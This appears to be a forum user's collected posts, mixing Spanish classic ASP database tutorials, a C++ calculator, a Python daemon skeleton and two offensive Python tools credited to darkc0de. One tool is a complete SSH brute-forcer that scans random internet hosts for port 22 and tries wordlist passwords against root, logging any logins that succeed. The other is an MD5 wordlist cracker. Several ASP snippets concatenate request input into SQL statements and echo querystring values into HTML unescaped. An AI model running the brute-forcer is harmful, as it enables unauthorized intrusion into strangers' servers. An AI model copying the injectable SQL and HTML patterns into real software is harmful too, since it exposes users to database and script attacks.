Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
<%
'Definimos la variable para la conexion.
Dim Conex
Set Conex = Server.CreateObject ("ADODB.Connection")
'y ya estamos conectados a nuestra base de datos.
Conex.Open "nombre de la BD"
'aqui abrimos la tabla. ...
%>
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=C:\misitio\db\mibase.mdb;"
%><%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.Open "Provider=Microsoft.Jet.OLEDB.3.51; Data Source=C:\misitio\db\mibase.mdb;"
%><%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=C:\misitio\db\mibase.mdb;"
%><%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.Open "driver={SQL Server};server=TU_SERVIDOR; database=NOMBRE_BASE; uid=sa;pwd="
%><%
Dim path
'guardamos en la variable path lo que devuelve la funcion
path = Server.MapPath("./")
Response.Write path
%><HTML>
<HEAD>
<TITLE>Actualizar1.asp</TITLE>
</HEAD>
<BODY>
<div align="center">
<h1>Actualizar un registro</h1>
<br>
<%
'Instanciamos y abrimos nuestro objeto conexion
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Mibase"
%>
<FORM METHOD="POST" ACTION="actualizar2.asp">
Nombre<br>
<%
'Creamos la sentencia SQL y la ejecutamos
sSQL="Select nombre From clientes Order By nombre"
set RS = Conn.Execute(sSQL)
%>
<select name="nombre">
<%
'Generamos el menu desplegable
Do While not RS.eof%>
<option><%=RS("nombre")%>
<%RS.movenext
Loop
%>
</select>
<br>
Telefono<br>
<INPUT TYPE="TEXT" NAME="telefono"><br>
<INPUT TYPE="SUBMIT" value="Actualizar">
</FORM>
</div>
</BODY>
</HTML>
La manera de operar para construir el menu desplegable es la misma que para visualizar la tabla. De nuevo empleamos un bucle Do While que nos permite mostrar cada una de las opciones.
El script de actualizacion sera muy parecido al de insercion:
<TITLE>Actualizar2.asp</TITLE>
</HEAD>
<BODY>
<%
'Recogemos los valores del formulario
nombre=Request.Form("nombre")
telefono= Request.Form("telefono")
'Instanciamos y abrimos nuestro objeto conexion
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Mibase"
'Ahora creamos la sentencia SQL
sSQL="Update Clientes Set telefono='" & telefono & "' Where nombre='" &
nombre & "'"
'Ejecutamos la orden
set RS = Conn.Execute(sSQL)
%>
<h1><div align="center">Registro Actualizado</div></h1>
<div align="center"><a href="lectura.asp">Visualizar el contenido de la
base</a></div>
<%
'Cerramos el sistema de conexion
Conn.Close
%>
</BODY>
</HTML>
<%
@ language = "VBScript"
ENABLESESSIONSTATE = False
%>
<%
Response.Buffer = True
%>
<%
recorset.close
conexion.close
set recordset=Nothing
set conexion=Nothing
%>
<%
OPTION EXPLICIT
%>
<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")
'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"
'Ejecutamos una consulta SQL a la tabla
sqltext = "SELECT * FROM tblUsuarios"
rst.Open sqltext,cnn,3,3
'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
nombre="Fabian"
apellido = "Muller"
email="[email protected]"
rst.AddNew
rst("nombre") = nombre
rst("apellido") = apellido
rst("email") = email
rst.update
'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>
<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")
'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"
'Ejecutamos una consulta SQL a la tabla
sqltext = "SELECT * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
rst.Open sqltext,cnn,3,3
'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
nombre="Fabian"
apellido = "Muller"
email="[email protected]"
'Modificamos los datos
rst("nombre") = nombre
rst("apellido") = apellido
rst("email") = email
rst.update
'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>
<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")
'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"
'Ejecutamos una consulta SQL a la tabla, y eliminamos el registro
sqltext = "DELETE * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
rst.Open sqltext,cnn
'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>
<%
Dim texto, num
num = 5
texto = Request.Form("Texto")
texto = Replace(texto, "'", "''")
SQL="INSERT INTO Tabla (Texto, Numero) VALUES (" & texto & ", " & num &")"
...
%><%
'Creamos el objeto FSO
set FSO = server.createObject("Scripting.FileSystemObject")
'...
Set FSO = Nothing
%> <%
set FSO = server.createObject("Scripting.FileSystemObject")
'Creamos el descriptor de fichero
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
'...
Set FSO = Nothing
%> <%
set FSO = server.createObject("Scripting.FileSystemObject")
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
'Escribimos su contenido
Response.Write "El contenido es:<br>" & FD.ReadAll
Set FSO = Nothing
%> <%
set FSO = server.createObject("Scripting.FileSystemObject")
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
'Escribimos su contenido
FD.WriteLine "Escribimos en el fichero"
Set FSO = Nothing
%> <%
Dim variable1, variable2
variable1=request.Querystring ("variable1")
variable2=request.Querystring ("variable2")
response.write ("<b>variable1: </b>" & variable1)
response.write ("<br><b>variable2: </b>" & variable2)
%> <%
response.write ("<img src=" & request.Querystring ("imagen") & ">")
%>
#include <iostream>
void exit()
{
system("pause");
}
//-------------------------
void encabezado()
{
using namespace std;
cout << "Calculadora basica C++" << endl;
cout << "De [email protected] || Para www.underc0de.org" << endl;
cout << "-------------------------------" << endl;
cout << " 1 = Sumar " << endl;
cout << " 2 = Restar " << endl;
cout << " 3 = Multiplicar " << endl;
cout << " 4 = Dividir " << endl;
cout << " 5 = Salir " << endl;
cout << "-------------------------------" << endl;
}
//-------------------------
int main()
{
using namespace std;
encabezado();
int resultado_menu;
cin >> resultado_menu;
switch (resultado_menu)
{
case 1:
cout << "Introduce las 2 cifras" << endl;
int a_mas, b_mas, resultado_mas;
cin >> a_mas;
cout << "+ " << endl;
cin >> b_mas;
resultado_mas = a_mas + b_mas;
cout << "Resultado: " << resultado_mas << endl;
break;
case 2:
cout << "Introduce las 2 cifras" << endl;
int a_menos, b_menos, resultado_menos;
cin >> a_menos;
cout << "- " << endl;
cin >> b_menos;
resultado_menos = a_menos - b_menos;
cout << "Resultado: " << resultado_menos << endl;
break;
case 3:
cout << "Introduce las 2 cifras" << endl;
int a_multi, b_multi, resultado_multi;
cin >> a_multi;
cout << "* " << endl;
cin >> b_multi;
resultado_multi = a_multi * b_multi;
cout << "Resultado: " << resultado_multi << endl;
break;
case 4:
cout << "Introduce las 2 cifras" << endl;
float a_divide, b_divide, resultado_divide;
cin >> a_divide;
cout << "/ " << endl;
cin >> b_divide;
resultado_divide = a_divide / b_divide;
cout << "Resultado: " << resultado_divide << endl;
break;
case 5:
cout << "Visita www.underc0de.org" << endl;
break;
default:
cout << "ERROR!!" << endl;
break;
}
exit();
}
#MD5 Cracker (GUI Version)
#d3hydr8[at]gmail[dot]com
#http://www.darkc0de.com
from Tkinter import *
import tkFileDialog, md5
class Application(Frame):
def __init__(self, master):
Frame.__init__(self, master)
self.grid()
self.create_widget()
def create_widget(self):
self.lbl = Label(self, text = "ENTER MD5: ")
self.lbl.grid(row = 2, column = 0, sticky = E)
self.pw_ent = Entry(self, width = 32)
self.pw_ent.grid(row = 2, column = 1, sticky = E)
self.submit_bttn = Button(self, text = "Choose Wordlist", command = self.loadwords)
self.submit_bttn.grid(row = 5, column = 1, sticky = W)
self.txtbox = Text(self, width = 55, height = 8, font=('Georgia', 8), bg = "#CCC", wrap = WORD)
self.txtbox.grid(row = 7, column = 0, columnspan = 2, sticky = W)
self.bttn1 = Button(self, text = "Crack", font=('courier', 10, 'bold'), command = self.crack)
self.bttn1.grid(row = 9, columnspan = 2, sticky = "WE")
self.clear = Button(self, text="Clear", font=('Georgia', 8), command = self.clear)
self.clear.grid(row = 10, column = 1,sticky= E)
def loadwords(self):
global wordlist
file = tkFileDialog.askopenfile(parent=root,mode='r',title='Choose a file')
wordlist = file.readlines()
self.txtbox.insert(END, "Loaded: "+str(len(wordlist))+" words")
def crack(self):
pw = self.pw_ent.get()
if len(pw) == 32:
self.txtbox.insert(END, "\nCracking: "+pw)
for word in wordlist:
hash = md5.new(word.replace("\n","")).hexdigest()
if pw == hash:
self.txtbox.insert(END, "\n\nCracked: "+word)
break
self.txtbox.insert(END, "\nComplete")
else:
self.txtbox.insert(END, "\nImproper MD5 Length: "+str(len(pw)))
def clear(self):
self.pw_ent.delete(0, END)
self.txtbox.delete(0.0, END)
wordlist = []
root = Tk()
root.title("MD5 Cracker")
root.geometry("350x200")
app = Application(root)
root.mainloop()
#!/usr/bin/python
#SSH BruteForcer that scans for random
#open ssh ports using nmap and then brute
#forces them.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys, time, StringIO, commands, re
#Set the successful login file.
save_file = "SSH_Logins.txt"
#Set verbose mode: 1=on 0=off
verbose = 1
#Set the user to use.
user = "root"
try:
import pexpect, pxssh
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)
def scan():
args = 'nmap -iR 1 -p 22 -open | grep open -B 3'
nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
if ipaddr:
return ipaddr[0]
def brute(ip, word):
if verbose != 0:
print "Trying:",word
try:
s = pxssh.pxssh()
s.login (ip, user, word, login_timeout=10)
s.sendline (command)
s.prompt()
print "\n",s.before
s.logout()
print "\t[!] Login Success:",user, word,"\n"
logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
except Exception, e:
#print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Quit\n"
logins.close()
sys.exit(1)
print "\n\t d3hydr8:darkc0de.com sshBrute/Random v1.0"
print "\t----------------------------------------------"
if len(sys.argv) != 3:
print "\nUsage : ./sshbrute_random.py <how many> <wordlist>"
print "Eg: ./sshbrute_random.py 1000 words.txt\n"
sys.exit(1)
num = sys.argv[1]
command = 'uname -a'
logins = open(save_file, "a")
try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "\n[-] Error: Check your wordlist path\n"
sys.exit(1)
print "\n[+] Loaded:",len(words),"words"
print "[+] User:",user
print "[+] Save file:",save_file
if verbose != 0:
print "[+] Verbose Mode: On"
else:
print "[+] Verbose Mode: Off"
print "[+] Scanning:",num,"ips\n"
for x in xrange(int(num)):
print "[-] Scanning:",x+1,"of",num
ip = scan()
if ip != None:
print "\n\t[+] BruteForcing:",ip,"\n"
for word in words:
#Change this time if needed
time.sleep(0.5)
brute(ip, word.replace("\n",""))
logins.close()
print "\n[-] Done\n"
By xianur0
def constructor(): #definimos el constructor del daemon
try:
if os.fork() > 0: os._exit(0) #sale si el fork no trabaja bien
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror) #lanza el error
# de ejecucion del fork
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork() #obtiene el PID con el que trabajara nuestro daemon
if pid > 0: #si el pid es mayor a 0 el fork fue correcto
# y tenemos un lugar para nuestro daemon :)..
#Aqui Seria Lo que ejecutara el crearse el daemon, bien podemos solo imprimir el PID
os._exit(0)
except OSError, error:
print 'Error en Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
#Aqui estaria la funcion del daemon (lo que hara nuestro daemon)
if __name__ == '__main__':
constructor() #cargamos nuestro constructor del daemon :)...